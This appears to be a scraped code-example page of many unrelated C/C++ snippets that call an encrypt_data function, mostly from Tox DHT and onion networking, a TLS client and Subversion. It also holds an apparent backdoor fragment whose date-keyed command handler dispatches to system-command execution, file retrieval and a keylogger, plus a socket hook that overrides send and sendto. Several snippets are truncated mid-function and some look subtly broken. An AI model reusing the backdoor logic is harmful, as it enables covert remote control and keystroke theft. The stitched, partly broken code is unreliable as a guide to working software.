RSSObject* encrypt_chain_element(RSSObject* addr, RSSObject* old_chain_row,int encryption_alghoritm  ){
	RSSObject* r=new RSSObject(getDefinedStructs(),"chain_row");
	if(old_chain_row){
		std::string *cr=new std::string();
		old_chain_row->encode(cr);
		encrypt_data(r->objectByName("matreshka"),cr,encryption_alghoritm);
		delete cr;
	}else{
		encrypt_data(r->objectByName("matreshka"),NULL,encryption_alghoritm);
	}
	r->objectByName("address")->assign(addr);
	return r;
}
static int enc_mac_write(int fd, uint8_t *enc_key, uint8_t *mac_key,
                         uint8_t *salt, uint8_t *buf, int64_t data_size)
{
  uint8_t nonce[NONCE_SIZE];
  uint8_t *new_mac = NULL;
  uint8_t *enc_buf = NULL;
  uint8_t *comp_buf = NULL;
  unsigned long comp_size = 0;
  int ret;

  comp_buf = compress_buffer(buf, data_size, &comp_size);
  if (!comp_buf) goto fail;
  data_size = comp_size;
  buf = comp_buf;

  ret = create_salt(nonce, NONCE_SIZE);
  if (ret != 0) goto fail;
  enc_buf = calloc(NONCE_SIZE + data_size, 1);
  if (!enc_buf) goto fail;
  memcpy(enc_buf, nonce, NONCE_SIZE);
  encrypt_data(nonce, enc_key, data_size, buf, enc_buf + NONCE_SIZE);
  new_mac = create_mac(mac_key, NONCE_SIZE + data_size, enc_buf);
  if (!new_mac) goto fail;
  ret = write_file(fd, salt, new_mac, nonce, enc_buf + NONCE_SIZE, data_size);

  return CAPSTONE_EXIT_SUCCESS;

fail:
  return CAPSTONE_EXIT_FAILURE;
}
Exemple #3
0
/* Create an onion data request packet in packet of max_packet_length (recommended size ONION_MAX_PACKET_SIZE).
 *
 * public_key is the real public key of the node which we want to send the data of length length to.
 * encrypt_public_key is the public key used to encrypt the data packet.
 *
 * nonce is the nonce to encrypt this packet with
 *
 * return -1 on failure.
 * return 0 on success.
 */
int create_data_request(uint8_t *packet, uint16_t max_packet_length, const uint8_t *public_key,
                        const uint8_t *encrypt_public_key, const uint8_t *nonce, const uint8_t *data, uint16_t length)
{
    if (DATA_REQUEST_MIN_SIZE + length > max_packet_length) {
        return -1;
    }

    if (DATA_REQUEST_MIN_SIZE + length > ONION_MAX_DATA_SIZE) {
        return -1;
    }

    packet[0] = NET_PACKET_ONION_DATA_REQUEST;
    memcpy(packet + 1, public_key, CRYPTO_PUBLIC_KEY_SIZE);
    memcpy(packet + 1 + CRYPTO_PUBLIC_KEY_SIZE, nonce, CRYPTO_NONCE_SIZE);

    uint8_t random_public_key[CRYPTO_PUBLIC_KEY_SIZE];
    uint8_t random_secret_key[CRYPTO_SECRET_KEY_SIZE];
    crypto_new_keypair(random_public_key, random_secret_key);

    memcpy(packet + 1 + CRYPTO_PUBLIC_KEY_SIZE + CRYPTO_NONCE_SIZE, random_public_key, CRYPTO_PUBLIC_KEY_SIZE);

    int len = encrypt_data(encrypt_public_key, random_secret_key, packet + 1 + CRYPTO_PUBLIC_KEY_SIZE, data, length,
                           packet + 1 + CRYPTO_PUBLIC_KEY_SIZE + CRYPTO_NONCE_SIZE + CRYPTO_PUBLIC_KEY_SIZE);

    if (1 + CRYPTO_PUBLIC_KEY_SIZE + CRYPTO_NONCE_SIZE + CRYPTO_PUBLIC_KEY_SIZE + len != DATA_REQUEST_MIN_SIZE +
            length) {
        return -1;
    }

    return DATA_REQUEST_MIN_SIZE + length;
}
Exemple #4
0
/* return 0 if data could not be put in packet queue
   return 1 if data was put into the queue */
int write_cryptpacket(int crypt_connection_id, uint8_t * data, uint32_t length)
{
    if(crypt_connection_id < 0 || crypt_connection_id >= MAX_CRYPTO_CONNECTIONS)
    {
        return 0;   
    }
    if(length - crypto_box_BOXZEROBYTES + crypto_box_ZEROBYTES > MAX_DATA_SIZE - 1)
    {
        return 0;
    }
    if(crypto_connections[crypt_connection_id].status != 3)
    {
        return 0;
    }
    uint8_t temp_data[MAX_DATA_SIZE];
    int len = encrypt_data(crypto_connections[crypt_connection_id].peersessionpublic_key, 
                           crypto_connections[crypt_connection_id].sessionsecret_key,
                           crypto_connections[crypt_connection_id].sent_nonce, data, length, temp_data + 1);
    if(len == -1)
    {
        return 0;
    }
    temp_data[0] = 3;
    if(write_packet(crypto_connections[crypt_connection_id].number, temp_data, len + 1) == 0)
    {
        return 0;
    }
    increment_nonce(crypto_connections[crypt_connection_id].sent_nonce);
    return 1;
}
Exemple #5
0
/* Send data of length length to friendnum.
 * This data will be received by the friend using the Onion_Data_Handlers callbacks.
 *
 * Even if this function succeeds, the friend might not receive any data.
 *
 * return the number of packets sent on success
 * return -1 on failure.
 */
int send_onion_data(const Onion_Client *onion_c, int friend_num, const uint8_t *data, uint32_t length)
{
    if ((uint32_t)friend_num >= onion_c->num_friends)
        return -1;

    if (length + DATA_IN_RESPONSE_MIN_SIZE > MAX_DATA_REQUEST_SIZE)
        return -1;

    if (length == 0)
        return -1;

    uint8_t nonce[crypto_box_NONCEBYTES];
    random_nonce(nonce);

    uint8_t packet[DATA_IN_RESPONSE_MIN_SIZE + length];
    memcpy(packet, onion_c->c->self_public_key, crypto_box_PUBLICKEYBYTES);
    int len = encrypt_data(onion_c->friends_list[friend_num].real_client_id, onion_c->c->self_secret_key, nonce, data,
                           length, packet + crypto_box_PUBLICKEYBYTES);

    if ((uint32_t)len + crypto_box_PUBLICKEYBYTES != sizeof(packet))
        return -1;

    uint32_t i, good_nodes[MAX_ONION_CLIENTS], num_good = 0, num_nodes = 0;
    Onion_Path path[MAX_ONION_CLIENTS];
    Onion_Node *list_nodes = onion_c->friends_list[friend_num].clients_list;

    for (i = 0; i < MAX_ONION_CLIENTS; ++i) {
        if (is_timeout(list_nodes[i].timestamp, ONION_NODE_TIMEOUT))
            continue;

        ++num_nodes;

        if (list_nodes[i].is_stored) {
            if (random_path(onion_c, &onion_c->friends_list[friend_num].onion_paths, ~0, &path[num_good]) == -1)
                continue;

            good_nodes[num_good] = i;
            ++num_good;
        }
    }

    if (num_good < (num_nodes / 4) + 1)
        return -1;

    uint32_t good = 0;

    for (i = 0; i < num_good; ++i) {
        uint8_t o_packet[ONION_MAX_PACKET_SIZE];
        len = create_data_request(o_packet, sizeof(o_packet), onion_c->friends_list[friend_num].real_client_id,
                                  list_nodes[good_nodes[i]].data_public_key, nonce, packet, sizeof(packet));

        if (len == -1)
            continue;

        if (send_onion_packet_tcp_udp(onion_c, &path[i], list_nodes[good_nodes[i]].ip_port, o_packet, len) == 0)
            ++good;
    }

    return good;
}
/* Try to send the fakeid via the DHT instead of onion
 *
 * Even if this function succeeds, the friend might not recieve any data.
 *
 * return the number of packets sent on success
 * return -1 on failure.
 */
static int send_dht_fakeid(Onion_Client *onion_c, int friend_num, uint8_t *data, uint32_t length)
{
    if ((uint32_t)friend_num >= onion_c->num_friends)
        return -1;

    if (!onion_c->friends_list[friend_num].is_fake_clientid)
        return -1;

    uint8_t nonce[crypto_box_NONCEBYTES];
    new_nonce(nonce);

    uint8_t temp[DATA_IN_RESPONSE_MIN_SIZE + crypto_box_NONCEBYTES + length];
    memcpy(temp, onion_c->dht->c->self_public_key, crypto_box_PUBLICKEYBYTES);
    memcpy(temp + crypto_box_PUBLICKEYBYTES, nonce, crypto_box_NONCEBYTES);
    int len = encrypt_data(onion_c->friends_list[friend_num].real_client_id, onion_c->dht->c->self_secret_key, nonce, data,
                           length, temp + crypto_box_PUBLICKEYBYTES + crypto_box_NONCEBYTES);

    if ((uint32_t)len + crypto_box_PUBLICKEYBYTES + crypto_box_NONCEBYTES != sizeof(temp))
        return -1;

    uint8_t packet[MAX_DATA_SIZE];
    len = create_request(onion_c->dht->self_public_key, onion_c->dht->self_secret_key, packet,
                         onion_c->friends_list[friend_num].fake_client_id, temp, sizeof(temp), FAKEID_DATA_ID);

    if (len == -1)
        return -1;

    return route_tofriend(onion_c->dht, onion_c->friends_list[friend_num].fake_client_id, packet, len);
}
Exemple #7
0
int send_ping_request(IP_Port ipp, clientid_t* client_id)
{
    pingreq_t pk;
    int       rc;
    uint64_t  ping_id;

    if (is_pinging(ipp, 0) || id_eq(client_id, self_id))
        return 1;

    // Generate random ping_id
    ping_id = add_ping(ipp);

    pk.magic = PACKET_PING_REQ;
    id_cpy(&pk.client_id, self_id);     // Our pubkey
    random_nonce((uint8_t*) &pk.nonce); // Generate random nonce

    // Encrypt ping_id using recipient privkey
    rc = encrypt_data((uint8_t*) client_id,
                      self_secret_key,
                      (uint8_t*) &pk.nonce,
                      (uint8_t*) &ping_id, sizeof(ping_id),
                      (uint8_t*) &pk.ping_id);

    if (rc != sizeof(ping_id) + ENCRYPTION_PADDING)
        return 1;

    return sendpacket(ipp, (uint8_t*) &pk, sizeof(pk));
}
Exemple #8
0
/* Create an onion announce request packet in packet of max_packet_length (recommended size ONION_ANNOUNCE_REQUEST_SIZE).
 *
 * dest_client_id is the public key of the node the packet will be sent to.
 * public_key and secret_key is the kepair which will be used to encrypt the request.
 * ping_id is the ping id that will be sent in the request.
 * client_id is the client id of the node we are searching for.
 * data_public_key is the public key we want others to encrypt their data packets with.
 * sendback_data is the data of ONION_ANNOUNCE_SENDBACK_DATA_LENGTH length that we expect to
 * receive back in the response.
 *
 * return -1 on failure.
 * return packet length on success.
 */
int create_announce_request(uint8_t *packet, uint16_t max_packet_length, const uint8_t *dest_client_id,
                            const uint8_t *public_key, const uint8_t *secret_key, const uint8_t *ping_id, const uint8_t *client_id,
                            const uint8_t *data_public_key, uint64_t sendback_data)
{
    if (max_packet_length < ONION_ANNOUNCE_REQUEST_SIZE) {
        return -1;
    }

    uint8_t plain[ONION_PING_ID_SIZE + CRYPTO_PUBLIC_KEY_SIZE + CRYPTO_PUBLIC_KEY_SIZE +
                  ONION_ANNOUNCE_SENDBACK_DATA_LENGTH];
    memcpy(plain, ping_id, ONION_PING_ID_SIZE);
    memcpy(plain + ONION_PING_ID_SIZE, client_id, CRYPTO_PUBLIC_KEY_SIZE);
    memcpy(plain + ONION_PING_ID_SIZE + CRYPTO_PUBLIC_KEY_SIZE, data_public_key, CRYPTO_PUBLIC_KEY_SIZE);
    memcpy(plain + ONION_PING_ID_SIZE + CRYPTO_PUBLIC_KEY_SIZE + CRYPTO_PUBLIC_KEY_SIZE, &sendback_data,
           sizeof(sendback_data));

    packet[0] = NET_PACKET_ANNOUNCE_REQUEST;
    random_nonce(packet + 1);

    int len = encrypt_data(dest_client_id, secret_key, packet + 1, plain, sizeof(plain),
                           packet + 1 + CRYPTO_NONCE_SIZE + CRYPTO_PUBLIC_KEY_SIZE);

    if ((uint32_t)len + 1 + CRYPTO_NONCE_SIZE + CRYPTO_PUBLIC_KEY_SIZE != ONION_ANNOUNCE_REQUEST_SIZE) {
        return -1;
    }

    memcpy(packet + 1 + CRYPTO_NONCE_SIZE, public_key, CRYPTO_PUBLIC_KEY_SIZE);

    return ONION_ANNOUNCE_REQUEST_SIZE;
}
Exemple #9
0
//send a ping response
static int pingres(IP_Port ip_port, uint8_t * public_key, uint64_t ping_id)
{
    if(memcmp(public_key, self_public_key, CLIENT_ID_SIZE) == 0)//check if packet is gonna be sent to ourself
    {
        return 1;
    }
    
    uint8_t data[1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES + sizeof(ping_id) + ENCRYPTION_PADDING];
    uint8_t encrypt[sizeof(ping_id) + ENCRYPTION_PADDING];
    uint8_t nonce[crypto_box_NONCEBYTES];
    random_nonce(nonce);
    
    int len = encrypt_data(public_key, self_secret_key, nonce, (uint8_t *)&ping_id, sizeof(ping_id), encrypt);
    if(len != sizeof(ping_id) + ENCRYPTION_PADDING)
    {
        return -1;
    }
    data[0] = 1;
    memcpy(data + 1, self_public_key, CLIENT_ID_SIZE);
    memcpy(data + 1 + CLIENT_ID_SIZE, nonce, crypto_box_NONCEBYTES);
    memcpy(data + 1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES, encrypt, len);
    
    return sendpacket(ip_port, data, sizeof(data));
    
}
Exemple #10
0
int send_ping_request(PING *ping, IP_Port ipp, size_t *client_id)
{
    size_t   pk[DHT_PING_SIZE];
    int       rc;
    size_t  ping_id;

    if (is_pinging(ping, ipp, 0) || id_equal(client_id, ping->dht->self_public_key))
        return 1;

    // Generate random ping_id.
    ping_id = add_ping(ping, ipp);

    pk[0] = NET_PACKET_PING_REQUEST;
    id_copy(pk + 1, ping->dht->self_public_key);     // Our pubkey
    new_nonce(pk + 1 + CLIENT_ID_SIZE); // Generate new nonce

    // Encrypt ping_id using recipient privkey
    rc = encrypt_data(client_id,
                      ping->dht->self_secret_key,
                      pk + 1 + CLIENT_ID_SIZE,
                      (size_t *) &ping_id, sizeof(ping_id),
                      pk + 1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES);

    if (rc != sizeof(ping_id) + crypto_box_MACBYTES)
        return 1;

    return sendpacket(ping->dht->net, ipp, pk, sizeof(pk));
}
Exemple #11
0
	void TLSClient_Impl::send_record(void *data_ptr, unsigned int data_size)
	{
		TLS_Record *record_ptr = (TLS_Record *) data_ptr;

		int record_length;
		record_length = record_ptr->length[0] << 8 | record_ptr->length[1];
		if (record_length > max_record_length)
			throw Exception("Maximum record length exceeded when sending");
		if (record_length == 0)
			throw Exception("Trying to send an empty block");

		if (record_length + sizeof(TLS_Record) != data_size)
			throw Exception("Record length mismatch");

		if (security_parameters.is_send_encrypted)
		{
			// "the encryption and MAC functions convert TLSCompressed.fragment structures to and from block TLSCiphertext.fragment structures."
			const unsigned char *input_ptr = (const unsigned char *) data_ptr + sizeof(TLS_Record);
			unsigned int input_size = data_size - sizeof(TLS_Record);
			Secret mac = calculate_mac(data_ptr, data_size, nullptr, 0, security_parameters.write_sequence_number, security_parameters.client_write_mac_secret);	// MAC includes the header and sequence number
			DataBuffer encrypted = encrypt_data(input_ptr , input_size, mac.get_data(), mac.get_size());

			// Update the length
			int new_length = encrypted.get_size();
			record_ptr->length[0] = new_length >> 8;
			record_ptr->length[1] = new_length;

			int pos = send_out_data.get_size();
			send_out_data.set_size(pos + sizeof(TLS_Record) + new_length);
			memcpy(send_out_data.get_data() + pos, data_ptr, sizeof(TLS_Record));
			memcpy(send_out_data.get_data() + pos + sizeof(TLS_Record), encrypted.get_data(), new_length);
		}
		else
		{
/* Send data of length length to friendnum.
 * This data will be recieved by the friend using the Onion_Data_Handlers callbacks.
 *
 * Even if this function succeeds, the friend might not recieve any data.
 *
 * return the number of packets sent on success
 * return -1 on failure.
 */
int send_onion_data(Onion_Client *onion_c, int friend_num, uint8_t *data, uint32_t length)
{
    if ((uint32_t)friend_num >= onion_c->num_friends)
        return -1;

    if (length + DATA_IN_RESPONSE_MIN_SIZE + ONION_DATA_RESPONSE_MIN_SIZE + ONION_SEND_1 > MAX_DATA_SIZE)
        return -1;

    if (length == 0)
        return -1;

    uint8_t nonce[crypto_box_NONCEBYTES];
    random_nonce(nonce);

    uint8_t packet[DATA_IN_RESPONSE_MIN_SIZE + length];
    memcpy(packet, onion_c->dht->c->self_public_key, crypto_box_PUBLICKEYBYTES);
    int len = encrypt_data(onion_c->friends_list[friend_num].real_client_id, onion_c->dht->c->self_secret_key, nonce, data,
                           length, packet + crypto_box_PUBLICKEYBYTES);

    if ((uint32_t)len + crypto_box_PUBLICKEYBYTES != sizeof(packet))
        return -1;

    uint32_t i, good = 0;
    Onion_Node *list_nodes = onion_c->friends_list[friend_num].clients_list;

    for (i = 0; i < MAX_ONION_CLIENTS; ++i) {
        if (is_timeout(list_nodes[i].timestamp, ONION_NODE_TIMEOUT))
            continue;

        if (list_nodes[i].is_stored) {
            Node_format nodes[4];

            Onion_Path path;

            if (random_path(onion_c->dht, &onion_c->friends_list[friend_num].onion_paths, ~0, &path) == -1)
                continue;

            memcpy(nodes[3].client_id, list_nodes[i].client_id, crypto_box_PUBLICKEYBYTES);
            nodes[3].ip_port = list_nodes[i].ip_port;

            if (send_data_request(onion_c->net, &path, list_nodes[i].ip_port, onion_c->friends_list[friend_num].real_client_id,
                                  list_nodes[i].data_public_key, nonce, packet, sizeof(packet)) == 0)
                ++good;
        }
    }

    return good;
}
Exemple #13
0
//If you want to double check functionality, comment out the code that creates the
//original "encrypt_file" file, and uncomment the spare File *f
int main(void) {

    FILE *f = fopen ("encrypt_file", "w");
    if(f == NULL) {
        printf("Error opening file!\n");
        exit(1);
    }
    const char * str1 = "This is my text This is a text \nThis is some text This is the text";
    fprintf(f, "%s\n",str1);
    fclose(f);


    //FILE *f;
    int return_code = encrypt_data(f);
    if(return_code != 0) exit(1);
    return 0;
}
Exemple #14
0
/* create a request to peer with public_key.
   packet must be an array of MAX_DATA_SIZE big.
   Data represents the data we send with the request with length being the length of the data.
   request_id is the id of the request (32 = friend request, 254 = ping request)
   returns -1 on failure
   returns the length of the created packet on success */
int create_request(uint8_t *packet, uint8_t *public_key, uint8_t *data, uint32_t length, uint8_t request_id)
{
    if (MAX_DATA_SIZE < length + 1 + crypto_box_PUBLICKEYBYTES * 2 + crypto_box_NONCEBYTES + ENCRYPTION_PADDING)
        return -1;
    uint8_t nonce[crypto_box_NONCEBYTES];
    random_nonce(nonce);
    int len = encrypt_data(public_key, self_secret_key, nonce, data, length,
                           1 + crypto_box_PUBLICKEYBYTES * 2 + crypto_box_NONCEBYTES + packet);
    if (len == -1)
        return -1;
    packet[0] = request_id;
    memcpy(packet + 1, public_key, crypto_box_PUBLICKEYBYTES);
    memcpy(packet + 1 + crypto_box_PUBLICKEYBYTES, self_public_key, crypto_box_PUBLICKEYBYTES);
    memcpy(packet + 1 + crypto_box_PUBLICKEYBYTES * 2, nonce, crypto_box_NONCEBYTES);

    return len + 1 + crypto_box_PUBLICKEYBYTES * 2 + crypto_box_NONCEBYTES;
}
Exemple #15
0
/* Hook send and encrypt data first */
ssize_t sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) {
	char outbuf[MAX_LEN];
	int outlen;
	
	memset(outbuf,0x00,MAX_LEN);
	
	if (!old_sendto)
		old_sendto = dlsym(RTLD_NEXT,"sendto");
		
	outlen = encrypt_data((char *)buf, len, &outbuf[0]);
	if (outlen == 0)
		return 0;
		
	// Send the encrypted data
	old_sendto(sockfd, (void *)outbuf, outlen, flags, dest_addr, addrlen);

	return len; 
}
Exemple #16
0
/* Hook send and encrypt data first */
ssize_t send(int sockfd, const void *buf, size_t len, int flags) {
	char outbuf[MAX_LEN];
	int outlen;
	
	memset(outbuf,0x00,MAX_LEN);
	
	if (!old_send)
		old_send = dlsym(RTLD_NEXT,"send");
		
	outlen = encrypt_data((char *)buf, len, &outbuf[0]);
	if (outlen == 0)
		return 0;
		
	// Send the encrypted data
	old_send(sockfd, (void *)outbuf, outlen, flags);

	return len; 
}
static int establish_symmetric_cipher(struct openssl_session_auth_context* ctx, const char* client_certificate, int client_certificate_length) {
    int ret = 0;
    char symmetric_key[MAX_SANE_KEY_LENGTH];
    char* encrypted_data = NULL;
    int encrypted_length;


    get_random_key(symmetric_key, module_context->symmetric_cipher.key_length);

    if ( encrypt_data(client_certificate, client_certificate_length, symmetric_key, module_context->symmetric_cipher.key_length, &encrypted_data, &encrypted_length) ) {
        printf("Failed to encrypt symmetric key\n");
        goto failed;
    }

    if ( write_u32(ctx, encrypted_length) != 4 ) {
        printf("Failed to send encrypted key length\n");
        goto failed;
    }

    if ( openssl_local_write(ctx, encrypted_data, encrypted_length) != encrypted_length ) {
        printf("Failed to encrypted symmetric key\n");
        goto failed;
    }

    if ( write_u32(ctx,  strlen(module_context->symmetric_cipher.kernel_cipher_name) + 1) != 4 ) {
        printf("Failed to send alg name length\n");
        goto failed;
    }

    /* Set encryptor before sending last message to the client so that we are ready to encrypted enc messages when the auth protocol is done */
    ctx->fid->conn->encryptor = new_openssl_crypt(module_context->symmetric_cipher.openssl_cipher_name, symmetric_key, module_context->symmetric_cipher.key_length);

    if ( openssl_local_write(ctx, module_context->symmetric_cipher.kernel_cipher_name, strlen(module_context->symmetric_cipher.kernel_cipher_name) + 1) < 0) {
        printf("Failed to send symmetric cipher name\n");
        goto failed;
    }

    goto done;
failed:
    ret = -1;
done:
    free(encrypted_data);
    return ret;
}
void getCommand(char **command, int payloadSize)
{
    char *decryptedCommand = NULL;
    char *token = NULL;
    char date[11];
    struct tm *tm;
    int option = -1;
    time_t t;
    
    // Get the date information
    time(&t);
    tm = localtime(&t);
    strftime(date, sizeof(date), "%Y:%m:%d", tm);
    
    // Decrypt our command using today's date
    token = malloc(sizeof(char) * payloadSize);
    decryptedCommand = encrypt_data(*command, date, payloadSize);

    // Get the command value and an optional filename or command
    if (sscanf(decryptedCommand, "%d|%[^NULL]", &option, token) == 0)
    {
        free(token);
        return;
    }

    // Give the client some time to set itself up
    sleep(2);
    
    // Execute the given command
    switch (option) {
        case EXECUTE_SYSTEM_CALL:
            executeSystemCall(token);
            break;
        case FIND_FILE:
            retrieveFile(token);
            break;
        case KEYLOGGER:
            keylogger();
            break;
        default:
            break;
    }
    free(token);
}
Exemple #19
0
/* Send a crypto handshake packet containing an encrypted secret nonce and session public key
   to peer with connection_id and public_key
   the packet is encrypted with a random nonce which is sent in plain text with the packet */
static int send_cryptohandshake(int connection_id, uint8_t *public_key, uint8_t *secret_nonce, uint8_t *session_key)
{
    uint8_t temp_data[MAX_DATA_SIZE];
    uint8_t temp[crypto_box_NONCEBYTES + crypto_box_PUBLICKEYBYTES];
    uint8_t nonce[crypto_box_NONCEBYTES];

    random_nonce(nonce);
    memcpy(temp, secret_nonce, crypto_box_NONCEBYTES);
    memcpy(temp + crypto_box_NONCEBYTES, session_key, crypto_box_PUBLICKEYBYTES);

    int len = encrypt_data(public_key, self_secret_key, nonce, temp, crypto_box_NONCEBYTES + crypto_box_PUBLICKEYBYTES,
                           1 + crypto_box_PUBLICKEYBYTES + crypto_box_NONCEBYTES + temp_data);
    if (len == -1)
        return 0;
    temp_data[0] = 2;
    memcpy(temp_data + 1, self_public_key, crypto_box_PUBLICKEYBYTES);
    memcpy(temp_data + 1 + crypto_box_PUBLICKEYBYTES, nonce, crypto_box_NONCEBYTES);
    return write_packet(connection_id, temp_data, len + 1 + crypto_box_PUBLICKEYBYTES + crypto_box_NONCEBYTES);
}
Exemple #20
0
//send a send nodes response
static int sendnodes(IP_Port ip_port, uint8_t * public_key, uint8_t * client_id, uint64_t ping_id)
{
    if(memcmp(public_key, self_public_key, CLIENT_ID_SIZE) == 0)//check if packet is gonna be sent to ourself
    {
        return 1;
    }
    
    uint8_t data[1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES + sizeof(ping_id) 
                                    + sizeof(Node_format) * MAX_SENT_NODES + ENCRYPTION_PADDING];
                                    
    Node_format nodes_list[MAX_SENT_NODES];
    int num_nodes = get_close_nodes(client_id, nodes_list);
    
    if(num_nodes == 0)
    {
        return 0;
    }
    
    uint8_t plain[sizeof(ping_id) + sizeof(Node_format) * MAX_SENT_NODES];
    uint8_t encrypt[sizeof(ping_id) + sizeof(Node_format) * MAX_SENT_NODES + ENCRYPTION_PADDING];
    uint8_t nonce[crypto_box_NONCEBYTES];
    random_nonce(nonce);
    
    memcpy(plain, &ping_id, sizeof(ping_id));
    memcpy(plain + sizeof(ping_id), nodes_list, num_nodes * sizeof(Node_format));
    
    int len = encrypt_data(public_key, self_secret_key, nonce, plain, 
                                       sizeof(ping_id) + num_nodes * sizeof(Node_format), encrypt);
    
    if(len != sizeof(ping_id) + num_nodes * sizeof(Node_format) + ENCRYPTION_PADDING)
    {
        return -1;
    }
    
    data[0] = 3;
    memcpy(data + 1, self_public_key, CLIENT_ID_SIZE);
    memcpy(data + 1 + CLIENT_ID_SIZE, nonce, crypto_box_NONCEBYTES);
    memcpy(data + 1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES, encrypt, len);
    
    return sendpacket(ip_port, data, 1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES + len);
   
}
Exemple #21
0
//send a getnodes request
static int getnodes(IP_Port ip_port, uint8_t * public_key, uint8_t * client_id)
{
    if(memcmp(public_key, self_public_key, CLIENT_ID_SIZE) == 0)//check if packet is gonna be sent to ourself
    {
        return 1;
    }
    
    if(is_gettingnodes(ip_port, 0))
    {
        return 1;
    }
    
    uint64_t ping_id = add_gettingnodes(ip_port);
    
    if(ping_id == 0)
    {
        return 1;
    }
    
    uint8_t data[1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES + sizeof(ping_id) + CLIENT_ID_SIZE + ENCRYPTION_PADDING];
    uint8_t plain[sizeof(ping_id) + CLIENT_ID_SIZE];
    uint8_t encrypt[sizeof(ping_id) + CLIENT_ID_SIZE + ENCRYPTION_PADDING];
    uint8_t nonce[crypto_box_NONCEBYTES];
    random_nonce(nonce);
    
    memcpy(plain, &ping_id, sizeof(ping_id));
    memcpy(plain + sizeof(ping_id), client_id, CLIENT_ID_SIZE);
    
    int len = encrypt_data(public_key, self_secret_key, nonce, plain, sizeof(ping_id) + CLIENT_ID_SIZE, encrypt);
    
    if(len != sizeof(ping_id) + CLIENT_ID_SIZE + ENCRYPTION_PADDING)
    {
        return -1;
    }
    data[0] = 2;
    memcpy(data + 1, self_public_key, CLIENT_ID_SIZE);
    memcpy(data + 1 + CLIENT_ID_SIZE, nonce, crypto_box_NONCEBYTES);
    memcpy(data + 1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES, encrypt, len);
    return sendpacket(ip_port, data, sizeof(data));
    
}
Exemple #22
0
int main() {
    
    char inputStr[SIZE];
    char encrypt[SIZE];
    char decrypt[SIZE];
    int key[SIZE];
    int i, size;
    
    printf( "Enter a string to encrypt: " );
    scanf( " %[^\n]s", inputStr ); //to scan a sentence from the keyboard
    
    size = strlen( inputStr ); // strlen is a library function defined in
                                // string.h to find the length of a string
    
    printf( "\nGenerating key...\n" );
    generate_key( key, size ); //should randomly generate unique keys
    
    /** Print keys **/
    printf("Key = ");
	for(i = 0; i < size; i++){
		printf("%d ", key[i]);
	}
	printf("\n");
    
    printf( "Encrypting string...\n" );
    encrypt_data( encrypt, inputStr, key, size ); //Encrypt a string
	
    /** Print encrypted string **/
	printf("Encrypted string: \"%s\"\n", encrypt);
    
    printf( "Decrypting string...\n" );
    decrypt_data( decrypt, encrypt, key, size ); //Decrypt a string
	
    /** Print decrypted string **/
	printf("Decrypted string: \"%s\"\n", decrypt);
    
    return 0;
}
Exemple #23
0
/* Implementation of svn_auth__password_set_t that encrypts
   the incoming password using the Windows CryptoAPI. */
static svn_error_t *
windows_password_encrypter(svn_boolean_t *done,
                           apr_hash_t *creds,
                           const char *realmstring,
                           const char *username,
                           const char *in,
                           apr_hash_t *parameters,
                           svn_boolean_t non_interactive,
                           apr_pool_t *pool)
{
  const svn_string_t *coded;

  coded = encrypt_data(svn_string_create(in, pool), pool);
  if (coded)
    {
      coded = svn_base64_encode_string2(coded, FALSE, pool);
      SVN_ERR(svn_auth__simple_password_set(done, creds, realmstring, username,
                                            coded->data, parameters,
                                            non_interactive, pool));
    }

  return SVN_NO_ERROR;
}
int validPassphrase(char *passphrase)
{
    char *decryptedPhrase = NULL;
    char date[11];
    struct tm *tm;
    time_t t;
    
    // Get the date information
    time(&t);
    tm = localtime(&t);
    strftime(date, sizeof(date), "%Y:%m:%d", tm);
    
    // Decrypt our passphrase using today's date
    decryptedPhrase = encrypt_data(passphrase, date, 4);
    
    // Check if the passphrase is correct
    if(strncmp(decryptedPhrase, PASSPHRASE, 4) == 0)
    {
        return 1;
    }

    return 0;
}
Exemple #25
0
static int send_ping_response(PING *ping, IP_Port ipp, uint8_t *client_id, uint64_t ping_id)
{
    uint8_t   pk[DHT_PING_SIZE];
    int       rc;

    if (id_eq(client_id, ping->c->self_public_key))
        return 1;

    pk[0] = NET_PACKET_PING_RESPONSE;
    id_cpy(pk + 1, ping->c->self_public_key);     // Our pubkey
    new_nonce(pk + 1 + CLIENT_ID_SIZE); // Generate new nonce

    // Encrypt ping_id using recipient privkey
    rc = encrypt_data(client_id,
                      ping->c->self_secret_key,
                      pk + 1 + CLIENT_ID_SIZE,
                      (uint8_t *) &ping_id, sizeof(ping_id),
                      pk + 1 + CLIENT_ID_SIZE + crypto_box_NONCEBYTES);

    if (rc != sizeof(ping_id) + ENCRYPTION_PADDING)
        return 1;

    return sendpacket(ping->c->lossless_udp->net, ipp, pk, sizeof(pk));
}
void Ts2::Link::EndPoint::prepareNegotiation(Link::Protocol::LcpNegotiateSessionData& data)
{
    memset(&data, 0, sizeof(data));
    data.signMode = getSigningCapability();
    data.encMode = getEncryptionCapability();
    data.keyMaterialSize = ARRAY_SIZE_IN_BYTES(data.keyMaterial);

    randomGen(data.iv, CSL_AES_IVSIZE_BYTES, 0);

    if(!isServer) {
        MutexAutoLock lock(&mutex);
        u8 keyMaterial[LCP_NEGOTIATE_SESSION_KEY_MATERIAL_SIZE];
        randomGen(keyMaterial, ARRAY_SIZE_IN_BYTES(keyMaterial), 0);
        const KeysInKeyMaterial *keys = (KeysInKeyMaterial*)keyMaterial;
        signKey.assign((const char*)keys->sign, ARRAY_SIZE_IN_BYTES(keys->sign));
        encKey.assign((const char*)keys->enc, ARRAY_SIZE_IN_BYTES(keys->enc));

        // Encrypt it
        encrypt_data(data.keyMaterial, keyMaterial, ARRAY_SIZE_IN_BYTES(keyMaterial),
                     data.iv, *sessionKey);
    } else {
        randomGen(data.keyMaterial, ARRAY_SIZE_IN_BYTES(data.keyMaterial), 0);
    }
}
/* Create a request to peer.
 * send_public_key and send_secret_key are the pub/secret keys of the sender.
 * recv_public_key is public key of reciever.
 * packet must be an array of MAX_DATA_SIZE big.
 * Data represents the data we send with the request with length being the length of the data.
 * request_id is the id of the request (32 = friend request, 254 = ping request).
 *
 *  return -1 on failure.
 *  return the length of the created packet on success.
 */
int create_request(uint8_t *send_public_key, uint8_t *send_secret_key, uint8_t *packet, uint8_t *recv_public_key,
